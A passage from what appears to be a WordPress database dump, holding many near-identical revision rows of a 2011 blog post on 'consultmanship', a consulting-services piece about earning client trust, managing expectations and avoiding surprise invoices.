reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, are valued more than money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n<h2>Consultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.</h2>\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'publish', 'open', 'open', '', 'hows-your-level-of-consultmanship', '', '', '2011-12-29 13:27:36', '2011-12-29 20:27:36', '', 0, 'http://www.whitehotcenter.com/?p=1844', 0, 'post', '', 4),
(1845, 2, '2011-12-23 14:12:42', '2011-12-23 21:12:42', '', 'consultsmanship', 0, '', 'inherit', 'open', 'open', '', 'consultsmanship', '', '', '2011-12-23 14:12:42', '2011-12-23 21:12:42', '', 1844, 'http://www.whitehotcenter.com/wp-content/uploads/2011/12/consultsmanship.jpg', 0, 'attachment', 'image/jpeg', 0),
(1846, 2, '2011-12-23 14:17:09', '2011-12-23 21:17:09', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\n\n<strong>Do you (and your team) deliver on everything you promise?</strong>\n\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\n\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\n\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\n\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\n\nHere are some practical suggestions for improving your level of consultmanship skills:\n\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal the value of the solution to them. Your there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\n\nNaturally, you have to determine early in the conversation if the client has the resources you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\n\n<strong><em>Managing expectation is your responsibility.</em></strong>\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\n\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\n\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\n\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, is valued more than the money, you will command premium pricing and favored status.\n\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\n\nConsultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.\n\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision', '', '', '2011-12-23 14:17:09', '2011-12-23 21:17:09', '', 1844, 'http://www.whitehotcenter.com/1844-revision/', 0, 'revision', '', 0),
(1847, 2, '2011-12-23 14:20:02', '2011-12-23 21:20:02', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal the value of the solution to them. Your there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client has the resources you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, is valued more than the money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n\r\nConsultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.\r\n\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision-2', '', '', '2011-12-23 14:20:02', '2011-12-23 21:20:02', '', 1844, 'http://www.whitehotcenter.com/1844-revision-2/', 0, 'revision', '', 0),
(1848, 2, '2011-12-23 14:20:12', '2011-12-23 21:20:12', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal the value of the solution to them. Your there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client has the resources you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, is valued more than the money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n\r\nConsultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.\r\n\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision-3', '', '', '2011-12-23 14:20:12', '2011-12-23 21:20:12', '', 1844, 'http://www.whitehotcenter.com/1844-revision-3/', 0, 'revision', '', 0),
(1851, 2, '2011-12-23 14:25:44', '2011-12-23 21:25:44', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal the value of the solution to them. Your there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client has the resources you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, are valued more than money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n<h2>Consultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.</h2>\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision-6', '', '', '2011-12-23 14:25:44', '2011-12-23 21:25:44', '', 1844, 'http://www.whitehotcenter.com/1844-revision-6/', 0, 'revision', '', 0),
(1849, 2, '2011-12-23 14:21:11', '2011-12-23 21:21:11', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal the value of the solution to them. Your there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client has the resources you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, is valued more than the money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n<h2>Consultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.</h2>\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision-4', '', '', '2011-12-23 14:21:11', '2011-12-23 21:21:11', '', 1844, 'http://www.whitehotcenter.com/1844-revision-4/', 0, 'revision', '', 0),
(1850, 2, '2011-12-23 14:21:45', '2011-12-23 21:21:45', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal the value of the solution to them. Your there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client has the resources you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and behavior is how you reassure them along the way of their good judgment to hire you (and your team). Your behavior will also influence and elevate the quality of your client’s presence and stature within their organization. It’s all about them not you!\r\n\r\n<strong><em>Provide more use value than you are paid in cash value.</em></strong>\r\nAt the end of the day, your client must have the perception your solution has provided them more use value (benefit) than the money they have paid you.  This is a fundamental principal of competitive advantage, prosperity and wealth. When you (and your team), by the nature of your talent and contribution to your client’s desired outcome, is valued more than the money, you will command premium pricing and favored status.\r\n\r\n<strong><em>Never send a bill that’s a surprise to your client.</em></strong>\r\nYou must never under any circumstances place your client in a position to question your bill.  When a client receives your invoice, it will always reflect the agreement you have previously made. Nothing will kill a business relationship faster than a surprise invoice–nothing is more deadly to your future.\r\n<h2>Consultmanship is the critical skill you (an your team) must master in every level of the client engagement.  How you deliver is as important (arguably more) than what you deliver.</h2>\r\nConsultmanship is more than good customer service. It’s a heightened awareness of what’s important to the client over the course of completing the project. It requires a method of delivery without the client ever having to ask. You’re there to lead. And leadership is service in disguise. The process of working with you (and your team) must rock your client’s world.', 'How’s your level of consultmanship?', 0, '', 'inherit', 'open', 'open', '', '1844-revision-5', '', '', '2011-12-23 14:21:45', '2011-12-23 21:21:45', '', 1844, 'http://www.whitehotcenter.com/1844-revision-5/', 0, 'revision', '', 0);
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(1852, 2, '2011-12-23 14:25:54', '2011-12-23 21:25:54', '<img class="alignnone size-full wp-image-1845" title="consultsmanship" src="http://whc.fbdev.org/wp-content/uploads/2011/12/consultsmanship.jpg" alt="" width="495" height="282" />\r\n<h1><span style="color: #808080;">It’s such an easy thing for creative entrepreneurs and solo professionals to fall victim to–placing more value on the deliverable and not the manner in which the value is delivered.</span></h1>\r\nBeing brilliant at solving problems and creatively expressing solutions that satisfy client’s is the name of the game. But doing great work is not enough to give your business a competitive advantage. You (and your team) must be equally skilled in the art of consultmanship. Let me ask you a few basic questions:\r\n\r\n<strong>Do you (and your team) deliver on everything you promise?</strong>\r\n\r\n<strong>Do you (and your team) initiate difficult conversations that keep your client fully informed and prepared on important details of the project’s progress or challenges?</strong>\r\n\r\n<strong>Do you (and your team) bring new or additional insight, advice and ideas to support and elevate your client’s role within their organization?</strong>\r\n\r\nIf your answers aren’t an emphatic yes, then you might want to consider putting more focus on your consultmanship–the manner in which you (and your team) behave and treat your clients while you are engaged in creating solutions for them.\r\n<h2>The manner in which you deliver solutions determines your competitive advantage–not just the quality or usefulness of the solution.</h2>\r\nClients have many alternatives to you when seeking a solution. Solutions are a given. Clients care about something more important–being recognized within their organizations for having the good sense to hire you in the first place. Clients pay for trust and security, not just deliverables.\r\n\r\nTo gain a competitive advantage with your client, you (and your team) have to deliver in spades on the trust component. You earn their trust, and when you have their trust, you’ll also have their respect for the value you are providing them. Your client would never think about considering anyone else but you because it would not be in their own personal interest to do so. To get this going for you in your business development, you (and your team) must be expert at consultmanship.\r\n\r\nHere are some practical suggestions for improving your level of consultmanship skills:\r\n\r\n<strong><em>At the beginning of the project conversation, never ask “what’s your budget?”.</em></strong>\r\nRather you need to be asking your client questions about their pain or need first. When you listen carefully, the client will always reveal the value of the solution to them. Your there to provide insight, advice and guidance, building a rapport that builds the client’s trust in you (and your team). You''re not there to simply take an order. Anybody can do that!\r\n\r\nNaturally, you have to determine early in the conversation if the client has the resources you require to solve their problem. But if your client believes and trusts in you to ease their pain and deliver the desired outcome, they’ll come up with all the money necessary to hire you. Remember the client determines the value of the solution, not you. When you get this down, your fees will rarely be  considered “too high”, and chances are, you’ll command a premium too.\r\n\r\n<strong><em>Managing expectation is your responsibility.</em></strong>\r\nNever over-promise, always over-deliver. You''ve heard that a million times. Before you begin any project, it’s critical you and your client have a shared vision and expectation about what success will look like at the other end. When you (and your team) say you will do something, you better do it and put some sugar on it too. It’s easy to find yourself saying “sure, no problem, we can throw that in the deal” over-committing yourself (and your team) to curry favor to win business. Remember the old expression “the road to hell is paved with good intentions”.\r\n\r\nYou disappoint your client on any level just once, and you will secure the fate you deserve. Rarely will you get a second chance to be trusted. Say no early and often!  Use discernment and careful judgement about what you say yes to.\r\n\r\n<strong><em>Everything you do must be of the highest professional standard.</em></strong>\r\nThis means the quality of your presence, the quality of your materials, your communications and delivery systems. Your client needs continued reinforcement in their decision to hire you. Your actions and 